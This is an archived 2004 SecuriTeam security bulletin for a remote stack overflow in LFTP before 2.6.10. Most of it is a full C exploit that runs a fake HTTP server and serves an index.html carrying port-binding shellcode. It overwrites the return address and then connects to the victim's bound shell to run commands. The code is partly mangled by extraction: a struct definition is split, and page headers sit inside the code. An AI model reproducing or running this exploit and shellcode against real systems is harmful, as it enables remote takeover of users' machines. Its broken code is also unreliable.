

[EXPL] LFTP Remote Stack-Based Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-01/0042.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 01/13/04

To: list@securiteam.com

Date: 13 Jan 2004 17:21:10 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

LFTP Remote Stack-Based Overflow

SUMMARY

As we reported in our previous article

<<http://www.securiteam.com/unixfocus/6S00H1595E.html>> LFTP Buffer Overflow (Malformed HTML File), an exploitable overflow in the program allows attackers to cause the product to execute arbitrary code. The following exploit code can be used to your system for mentioned vulnerability.

DETAILS

Vulnerable systems:

- * LFTP versions 2.3.0, 2.4.9, 2.6.6, 2.6.7, 2.6.8, 2.6.9

Immune systems:

- * LFTP version 2.6.10 or newer

Exploit:

/*

- * lftp remote stack-based overflow exploit by Li0n7@voila.fr

*

- * Vulnerability discovered by Ulf Harnhammar

<Ulf.Harnhammar.9485@student.uu.se>

*

Securiteam: [EXPL] LFTP Remote Stack-Based Overflow

- * Lftp versions later than 2.6.10 are prone to a remotely exploitable stack-based
- * overflow in try_netscape_proxy() and try_squid_eplf((src/HttpDir.cc).

This

- * bad coded proof-of-concept demonstrates the exploitation by exploiting the
- * vulnerable function try_netscape_proxy() (HttpDir.cc:358) and it needs more targets
- * to be efficient. Please note that this vulnerability is really hard to exploit
- * since lots of parameters come into play and are different from a platform to another,
- * for we have to overwrite some variables and registers before overwriting eip.
- * With some time and lot of patience, you should find your own parameters by using
- * GDB. Params to edit are marked with a '!' in the POC code. Moreover, I have edited
- * Bighawk's port binding shellcode not to contain any white character such as \r,\t,\v,
- * \f,\n or \20 because we are exploiting a scanf function.
- *
- * usage: ./lftp-exp [-f <path>][-p <port>][-r <ret>][-t <target>]
- * -f <path>: create <path>index.html
- * -p <port>: run a fake lftp server on port <port> (default: 80)
- * -r <ret>: return address you would like to use
- * -t <target>: choose the target among the platforms available
- * Platforms supported are:
- * num: 0 – slack 9.0 – 0xbfff770
- *
- * For instance: ./lftp-exp -p 80 -t 0
- * ./lftp-exp -f / -t 0
- *
- * A poil !
- */

```
#include <stdio.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
```

```
#define BUFFERSIZE 117 /*!*/
#define SIZE 256
```

```
#define D_BACK 26112
#define D_RET 0xbfff770
#define D_PORT 80
```

Securiteam: [EXPL] LFTP Remote Stack-Based Overflow

```
#define DUMMY1 0xbffff140 /*!*/
#define DUMMY2 0xbffff810 /*!*/

#define OK "cd ok, cwd=\\n"

/* Edited bighawk 78 bytes portbinding shellcode */
/* size: 80 bytes */
/* Does not contain any white character i.e \\r,\\t,\\v,\\f,\\n,\\20 */

char shellcode[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0"
"\x66\x52\x50\xcd\x80\x43\x66\x53\x89\xe1\x6a\x10"
"\x51\x50\x89\xe1\x52\x50\xb0\x66\xcd\x80\x89\xe1"
"\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x89"
"\xd9\x93\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x6e"
"\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\xb0\x28\x2c\x1d\xcd\x80";

char badc0ded[] =
{0x20,0x09,0x0a,0x0b,0x0c,0x0d,0x00};

char *lftp_versions[] =
{
  "lftp/2.3",
  "lftp/2.4.9",
  "lftp/2.5.2",
  "lftp/2.6.0",
  "lftp/2.6.3",
  "lftp/2.6.4",
  "lftp/2.6.5",
  "lftp/2.6.6",
  "lftp/2.6.7",
  "lftp/2.6.8",
  "lftp/2.6.9",
};

unsigned long ret_addr = D_RET;

int back_connection(long host);
int check_shellcode(char *host);
void check_version();
char * build(char *host);
int create_file(char *path);
void wait_connection(int port);
long resolve_host(u_char *host_name);
void die(char *argv);

struct os_ret_addr
{
  int num;
}
```

Securiteam: [EXPL] LFTP Remote Stack-Based Overflow

```
char *plat;
long ret;
};

struct os_ret_addr exp_os[]=
{
  {0,"slack 9.0",0xbffff770},
  {0,NULL,0}
};

int
main(int argc,char *argv[])
{
  int i, option, port = D_PORT;
  long host = 0;
  char * option_list = "f:p:r:t:", path[128];

  opterr = 0;

  if (argc < 2) die(argv[0]);
  while((option = getopt(argc,argv,option_list)) != -1)
    switch(option)
    {
      case 'f':
        strncpy(path,optarg,sizeof(path)-1);
        path[sizeof(path)-1] = '\0';
        create_file(path);
        return 0;
      case 'p':
        port = atoi(optarg);
        if(port > 65535 || port < 0) exit(-1);
        break;
      case 'r':
        ret_addr = atol(optarg);
        if(ret_addr > 0xbfffffff || ret_addr < 0x00000000) exit(1);
        break;
      case 't':
        for(i=0; exp_os[i].plat != NULL; i++)
          if(atoi(optarg) > i || atoi(optarg) < 0)
            {
              fprintf(stderr," Platforms supported are:\n");
              for(i=0; exp_os[i].plat != NULL; i++)
                fprintf(stderr," num: %i - %s -
0x%x\n",i,exp_os[i].plat,exp_os[i].ret);
              exit(1);
            }
        ret_addr = exp_os[atoi(optarg)].ret;
        break;
      case '?':
        fprintf(stderr,"[-] option \'%c\' invalid\n",optopt);
        die(argv[0]);
    }
}
```

```

    }

    wait_connection(port);
    return 0;
}

int
check_shellcode(char *host)
{
    int i,j;
    for(i=0;i<strlen(shellcode);i++)
        for(j=0;j<strlen(badc0ded);j++)
            if(shellcode[i] == badc0ded[j])
                {
                    fprintf(stderr,"[%s] badc0ded shellcode!\n",host);
                    return -1;
                }
    return 0;
}

void
check_version(char *version)
{
    int i;
    for(i=0;i<sizeof(lftp_versions);i++)
        if(!strcmp(lftp_versions[i],version))
            {
                fprintf(stdout,"(vulnerable).\n");
                return;
            }
    fprintf(stdout,"(not vulnerable).\n");
    return;
}

char
*build(char *host)
{
    char *buffer,*ptr;
    int i;
    unsigned long *addr_ptr;

    fprintf(stdout,"[%s] Building evil string to send (using ret
0x%x)...\n",host,ret_addr);

    buffer = (char *)malloc(SIZE+1);

    if(!buffer)
        {
            fprintf(stderr,"[-] Can't allocate memory,exiting...\n");
            exit(1);
        }
}

```

Securiteam: [EXPL] LFTP Remote Stack-Based Overflow

```
ptr = buffer;
memset(ptr,0x90,BUFFERSIZE-strlen(shellcode));
ptr += BUFFERSIZE-strlen(shellcode);

if((i = check_shellcode(host)) < 0) exit(1);

for(i=0;i<strlen(shellcode);i++)
    *ptr++ = shellcode[i];

/* You might need to modify the padding too */
addr_ptr = (long *)ptr;
for(i=0;i<24;i++)
    *(addr_ptr++) = DUMMY1;
for(i=0;i<8;i++)
    *(addr_ptr++) = DUMMY2;
*(addr_ptr++) = ret_addr; /* EIP */
*(addr_ptr++) = DUMMY2;

ptr = (char *)addr_ptr;
*ptr = 0x0;
return buffer;
}

int
create_file(char *path)
{
    int fd;
    char buffer[512], file[256];
    ssize_t written;

    memset(file,0,256);
    memset(buffer,0,512);

    strcat(file,path);
    strcat(file,"index.html");

    fd = open(file,O_WRONLY | O_CREAT | O_TRUNC,0644);
    if(fd < 0)
    {
        fprintf(stderr,"[-] %s\n",strerror(errno));
        exit(0);
    }
    snprintf(buffer,512,"<a href=\"^\">empty</a> Fri May 30 10:09:06 2001
%s\n",build("+"));
    written = write(fd,buffer,512);
    if(written != 512)
    {
        fprintf(stderr,"[-] %s\n",strerror(errno));
        exit(0);
    }
    close(fd);
}
```

Securiteam: [EXPL] LFTP Remote Stack-Based Overflow

```
fprintf(stdout, "[+] File %s successfully created.\n", file);
return 0;
}

int
back_connection(long host)
{
    struct sockaddr_in s;
    u_char sock_buf[4096];
    fd_set fds;
    int fd, size;
    char *command="/bin/uname -a ; /usr/bin/id;\n";

    fd = socket(AF_INET, SOCK_STREAM, 0);
    if (fd < 0)
    {
        fprintf(stderr, "[-] %s\n", strerror(errno));
        exit(1);
    }

    s.sin_family = AF_INET;
    s.sin_port = htons(D_BACK);
    s.sin_addr.s_addr = host;

    if (connect(fd, (struct sockaddr *)&s, sizeof(struct sockaddr)) == -1)
    {
        fprintf(stderr, "[-] %s\n", strerror(errno));
        close(fd);
        return 0;
    }

    fprintf(stdout, "[+] Let's rock on!\n");

    size = send(fd, command, strlen(command), 0);
    if (size < 0)
    {
        fprintf(stderr, "[-] %s\n", strerror(errno));
        close(fd);
        exit(1);
    }

    for (;;)
    {
        FD_ZERO(&fds);
        FD_SET(0, &fds);
        FD_SET(fd, &fds);

        if (select(255, &fds, NULL, NULL, NULL) == -1)
        {
            fprintf(stderr, "[-] %s\n", strerror(errno));
            close(fd);
        }
    }
}
```

```

    exit(1);
}

memset(sock_buf, 0, sizeof(sock_buf));

if (FD_ISSET(fd, &fds))
{
    if (recv(fd, sock_buf, sizeof(sock_buf), 0) == -1)
    {
        fprintf(stderr, "[+] Connection closed by remote
host, exiting...\n");
        close(fd);
        exit(1);
    }

    fprintf(stderr, "%s", sock_buf);
}

if (FD_ISSET(0, &fds))
{
    read(0, sock_buf, sizeof(sock_buf));
    write(fd, sock_buf, strlen(sock_buf));
}
}
return 0;
}

void
wait_connection(int port)
{
    struct sockaddr_in s;
    int size, fd, fd2, i, r, cancel = 0;
    char data[1024], version[32], request[512];
    char *ptr;
    long host = 0;

    memset(data,0,1024);

    fprintf(stdout, "[+] Setting up a fake HTTP server...\n");

    fd = socket(AF_INET,SOCK_STREAM,0);
    if(fd < 0)
    {
        fprintf(stderr, "[+] %s\n",strerror(errno));
        exit(1);
    }

    s.sin_family = AF_INET;
    s.sin_port = htons(port);
    s.sin_addr.s_addr = 0;

```

Securiteam: [EXPL] LFTP Remote Stack-Based Overflow

```
bind(fd,(struct sockaddr *) &s,sizeof(s));
listen(fd,1);
size = sizeof(s);

fprintf(stdout,"[+] Awaiting connection on port %i\n",port);

while(1)
{
    cancel = 0;
    fd2 = accept(fd,(struct sockaddr *) &s, &size);

    if(!fork())
    {
        close(fd);
        while(1)
        {
            memset(data,0,1024);
            r = read(fd2,data,1024);
            if((ptr = strstr(data,"User-Agent: lftp")) != NULL)
            {
                if(strstr(data,"HEAD"))
                {
                    fprintf(stdout,"[%s] HEAD request
received.\n",inet_ntoa(s.sin_addr));
                    size = send(fd2, OK, strlen(OK), 0);
                    if(size < 0)
                    {
                        fprintf(stderr,"[-] %s\n",strerror(errno));
                        close(fd2);
                        exit(1);
                    }
                }
                if(strstr(data,"GET"))
                {
                    memset(request,0,512);
                    memset(version,0,32);

                    strncpy(version,ptr+12,10);
                    version[sizeof(version)-1] = '\0';

                    fprintf(stdout,"[%s] GET request
received.\n",inet_ntoa(s.sin_addr));
                    fprintf(stdout,"[%s] Remote version of lftp: %s
",inet_ntoa(s.sin_addr),version);
                    check_version(version);

                    snprintf(request,512,"HTTP/1.1 200 OK\n"
                        "Server: thttpd/2.21 20apr2001\n"
                        "Content-Type: text/html\n"
                        "Date: Sun, 21 Dec 2003 16:29:44 GMT\n"
                        "Last-Modified: Sun, 21 Dec 2003 16:23:41 GMT\n"
```

Securiteam: [EXPL] LFTP Remote Stack-Based Overflow

```
"Accept-Ranges: bytes\n"
"Connection: close\n\n"
"<a href=\"^\">empty</a>\tFri May 30 10:09:06 2001
%s\n",build((char*)inet_ntoa(s.sin_addr)));

    size = send(fd2, request, strlen(request), 0);
    if(size < 0)
    {
        fprintf(stderr,"[-] %s\n",strerror(errno));
        close(fd2);
        exit(1);
    }
    sleep(2);
    host = resolve_host((char *)inet_ntoa(s.sin_addr));
    back_connection(host);
    cancel = 1;
    break;
}
}
}
if(cancel == 1) break;
}
close(fd2);
}
return;
}

long resolve_host(u_char *host_name)
{
    struct in_addr addr;
    struct hostent *host_ent;

    addr.s_addr = inet_addr(host_name);
    if (addr.s_addr == -1)
    {
        host_ent = gethostbyname(host_name);
        if (!host_ent) return(0);
        memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
    }

    return(addr.s_addr);
}

void
die(char *argv)
{
    int i;
    fprintf(stdout,"\t Remote exploit for lftp < 2.6.10 by Li0n7\n");
    fprintf(stdout,"\n usage: %s [-f <path>][-p <port>][-r <ret>][-t
<target>]\n",argv);
    fprintf(stdout," -f <path>: create <path>index.html\n");
```

Securiteam: [EXPL] LFTP Remote Stack-Based Overflow

```
fprintf(stdout, " -p <port>: run a fake lftp server on port <port>
(default: 80)\n");
fprintf(stdout, " -r <ret>: return address you would like to use\n");
fprintf(stdout, " -t <target>: choose the target among the platforms
available\n");
fprintf(stdout, " Platforms supported are:\n");
for(i=0; exp_os[i].plat != NULL; i++)
    fprintf(stderr, " num: %i - %s -
0x%x\n",i,exp_os[i].plat,exp_os[i].ret);
fprintf(stdout, "\n Vulnerability discovered by Ulf Harnhammar
<Ulf.Harnhammar.9485@student.uu.se> \n");
fprintf(stdout, " Contact me: Li0n7@voila.fr\n\n");
exit(1);
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:li0n7@voila.fr> li0n7.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.